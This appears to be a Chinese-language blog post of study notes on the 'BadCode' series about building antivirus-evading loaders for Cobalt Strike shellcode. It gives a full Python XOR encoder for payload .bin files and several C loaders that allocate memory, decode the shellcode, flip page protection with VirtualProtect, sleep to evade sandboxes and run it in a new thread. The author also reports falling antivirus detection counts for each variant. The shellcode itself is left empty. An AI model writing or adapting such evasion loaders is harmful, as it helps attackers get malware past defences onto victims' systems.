簡介

就是旋哥的BadCode系列,這次好好通讀下,然後我在旋哥的註釋上又加了一些,函式原型等。

專案地址:https://github.com/Rvn0xsy/BadCode

第一課

主要介紹了下cs的raw和c,然後就是混淆

旋哥使用Python做的混淆 xor加密,然後我把功能是幹啥的都寫在了註釋裡,

import sys
from argparse import ArgumentParser, FileType def process_bin(num, src_fp, dst_fp, dst_raw):
shellcode = ''
shellcode_size = 0
shellcode_raw = b''
try:
while True:
code = src_fp.read(1) # 批量讀取原始bin檔案的1個位元組
if not code: # 如果沒有東西就跳出迴圈
break base10 = ord(code) ^ num # 使用code的ASCII碼值 異或 num
base10_str = chr(base10) # 然後把異或出來的值再轉換為char型別
shellcode_raw += base10_str.encode() # 將轉換回來的char型別再加密 然後拼接到shellcode_raw裡
code_hex = hex(base10) # 轉換為16進位制
code_hex = code_hex.replace('0x','') # 然後把0x替換為空
if(len(code_hex) == 1): # 如果長度==1
code_hex = '0' + code_hex # 比如是1 就變成01
shellcode += '\\x' + code_hex # 最後\x01拼接到shellcode裡
shellcode_size += 1 # 長度+1個位元組
# 然後while讀取整個檔案 1. xor 2. 轉為char 3. 編碼 4. 轉換
src_fp.close() # 關閉原始的bin檔案
dst_raw.write(shellcode_raw) # 向新的bin檔案寫入
dst_raw.close() # 寫入完然後關閉
dst_fp.write(shellcode) # 向c檔案寫入shellcode
dst_fp.close() # 寫入完然後關閉
return shellcode_size # 最後返回shellcode的長度
except Exception as e: # 錯誤處理
sys.stderr.writelines(str(e)) def main():
# 以下這些就是設定引數
# type:引數型別
# required:是否可以省略引數
parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: [email protected]')
parser.add_argument('-v','--version',nargs='?')
parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True)
parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)
parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90)
parser.add_argument('-r','--raw',help=u'output bin file', type=FileType('wb'), required=False)
args = parser.parse_args()
shellcode_size = process_bin(args.num, args.src, args.dst, args.raw)
sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size)) if __name__ == "__main__":
main()

21line 預設是\x,轉義符的問題 \x解決

第二課

申請記憶體,並建立執行緒載入shellcode,然後就是xor解密然後載入

這是一個普通的,並沒有xor

#include <Windows.h>

// 入口函式
int wmain(int argc,TCHAR * argv[]){ int shellcode_size = 0; // shellcode長度
DWORD dwThreadId; // 執行緒ID
HANDLE hThread; // 執行緒控制代碼
/* length: 800 bytes */ unsigned char buf[] = ""; // 獲取shellcode大小
shellcode_size = sizeof(buf); /*
函式原型
LPVOID VirtualAlloc(
LPVOID lpAddress, // 指向要分配區域的指定起始地址的長指標,如果為NULL系統自動分配
DWORD dwSize, // 指定區域的大小
DWORD flAllocationType, // 指定分配型別。
DWORD flProtect // 指定訪問保護的型別
);
*/ char * shellcode = (char *)VirtualAlloc(
NULL,
shellcode_size, // shellcode的大小
MEM_COMMIT, // 為指定的頁面區域在記憶體或磁碟上的頁面檔案中分配物理儲存
PAGE_EXECUTE_READWRITE // 啟用對頁面提交區域的執行、讀取和寫入訪問。
); /*
void CopyMemory(
_In_ PVOID Destination, // 指向複製塊目標起始地址的指標
_In_ const VOID *Source, // 指向要複製的記憶體塊起始地址的指標。
_In_ SIZE_T Length // 要複製的記憶體大小
);
*/ // 將shellcode複製到可執行的記憶體頁中
CopyMemory(shellcode,buf,shellcode_size); // 1. 剛申請的一塊記憶體(shellcode) 2. 原來的資料的指標 3. 所需大小 /*
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 安全描述符
SIZE_T dwStackSize, // 堆疊的初始大小,如果為0系統給一個預設的
LPTHREAD_START_ROUTINE lpStartAddress, // 指向要由執行緒執行的應用程式定義函式的指標
__drv_aliasesMem LPVOID lpParameter, // 指向要傳遞給執行緒的變數的指標
DWORD dwCreationFlags, // 建立執行緒的標誌
LPDWORD lpThreadId // 執行緒ID
);
*/ // 建立執行緒
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 棧的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函式
NULL, // 引數
NULL, // 執行緒標誌
&dwThreadId // 執行緒ID
); /*
DWORD WaitForSingleObject(
HANDLE hHandle, // HANDLE
DWORD dwMilliseconds // 如果指定了非零值,則函式會等待,直到物件發出訊號或間隔結束。如果dwMilliseconds為零,如果物件沒有發出訊號,函式不會進入等待狀態;它總是立即返回。
如果dwMilliseconds是INFINITE,則該函式將僅在物件收到訊號時返回。
);
*/ // 等待執行緒
WaitForSingleObject(hThread,INFINITE); // 一直等待執行緒執行結束, INFINITE是一個巨集
return 0;
}

利用xor解密



這裡shellcode[i]每一個與0x10再異或,得出原始的shellcode,再進行載入

#include <Windows.h>
#include <stdio.h> int main()
{
unsigned char buf[] = "";
int length = sizeof(buf) / sizeof(buf[0]);
for (int i = 0; i<length - 1; i++)
{
buf[i] ^= 0x10;
}
for (int i = 0; i < sizeof(buf)/sizeof(buf[0]); i++)
{
printf("\\x%x", buf[i]);
}
}

自己寫的一個xor的加密程式碼 0x10就是key

第三課

主要是利用VirtualProtect函式改變VirtualAlloc申請地址的屬性

#include <Windows.h>

int wmain(int argc,TCHAR * argv[]){

    int shellcode_size = 0; // shellcode長度
DWORD dwThreadId; // 執行緒ID
HANDLE hThread; // 執行緒控制代碼
DWORD dwOldProtect; // 記憶體頁屬性 unsigned char buf[] = ""; // 獲取shellcode大小
shellcode_size = sizeof(buf); /* 增加異或程式碼 */
for(int i = 0;i<shellcode_size; i++){
buf[i] ^= 10;
} char * shellcode = (char *)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 啟用對頁面提交區域的讀寫訪問。不再是可讀可寫可執行
); // 將shellcode複製到可讀可寫的記憶體頁中
CopyMemory(shellcode,buf,shellcode_size); /*
函式原型
BOOL VirtualProtect(
LPVOID lpAddress, // 要更改訪問保護屬性的頁面區域的起始頁面地址。 我們要修改shellcode的屬性,就是shellcode
SIZE_T dwSize, // 大小
DWORD flNewProtect, // 記憶體保護選項
PDWORD lpflOldProtect // 指向一個變數的指標,該變數接收指定頁面區域中第一頁的先前訪問保護值;也就是某個地址
);
*/ // 這裡開始更改它的屬性為可執行
VirtualProtect(shellcode,shellcode_size,PAGE_EXECUTE,&dwOldProtect); // 1. 被更改的 2. 大小 3. 啟用對頁面提交區域的執行訪問(原來只是可讀可寫) 4. 原來的屬性 // 等待幾秒,興許可以跳過某些沙盒呢?
Sleep(2000); hThread = CreateThread(
NULL, // 安全描述符
NULL, // 棧的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函式
NULL, // 引數
NULL, // 執行緒標誌
&dwThreadId // 執行緒ID
); WaitForSingleObject(hThread,INFINITE); // 一直等待執行緒執行結束
return 0;
}

其實這裡修改的地方只有

  1. 申請的時候,光申請了可讀可寫,但是並不能執行
  2. 利用VirtualProtect函式修改shellcode的屬性,並變成了可執行



報了六個的是普通的申請可讀可寫可執行許可權的xor解密執行,報了四個的是先申請可讀可寫,後又修改屬性變成可執行的程式

然後再在上面的程式碼的基礎上,不使用手動異或來進行操作,使用自帶函式

在測這個的時候,我還以為不上線呢,最後發現是sleep的問題 得等段時間了 然後我做了下輸出、

InterlockedXor8這個函式是對char值做異或,(但是我覺得做正常手動異或,應該沒事吧)

LONG InterlockedXor(
LONG volatile *Destination, // 指向第一個運算元的指標。該值將替換為操作的結果。 所以要+i,向後走 一個個異或替換
LONG Value
);

最後測試也是4個報毒,看來我之前的猜測沒有錯